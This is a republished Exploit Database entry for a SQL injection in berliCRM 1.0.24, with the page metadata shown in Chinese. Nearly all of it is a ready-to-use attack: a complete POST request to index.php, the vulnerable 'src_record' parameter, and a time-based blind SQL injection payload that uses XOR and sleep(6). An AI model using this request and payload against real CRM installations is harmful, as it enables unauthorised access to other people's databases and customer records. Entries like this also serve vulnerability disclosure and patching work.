berliCRM 1.0.24 – ‘src_record’ SQL Injection

• Exploit Database
• 145 阅读

• 作者： Ahmet Ümit BAYRAM
  日期： 2020-10-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48872/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

  # Exploit Title: berliCRM 1.0.24 - 'src_record' SQL Injection # Google Dork: N/A # Date: 2020-10-11 # Exploit Author: Ahmet Ümit BAYRAM # Vendor Homepage: https://www.berlicrm.de # Software Link: https://github.com/berliCRM/berlicrm/archive/1.0.24.zip # Version: 1.0.24 # Tested on: Kali Linux # CVE : N/A     ========== Post Request =========================   POST /index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Referer: localhost Cookie: PHPSESSID=bab89b6fc39e1fd2c26877a4544cbb64 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate Content-Length: 226 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36 Connection: Keep-alive   __vtrftk=sid:ff114f440469f69f1507ebd04c65e05ba2fcc8d3%2C1602392658&module=Contacts&src_field=contact_id&src_module=Contacts&src_record=1&triggerEventName=postSelection721&view=Popup   ============= Vulnerable Parameter ===============   src_record (POST)   ============= Payload===========================   0'XOR(if(now()=sysdate()%2Csleep(6)%2C0))XOR'Z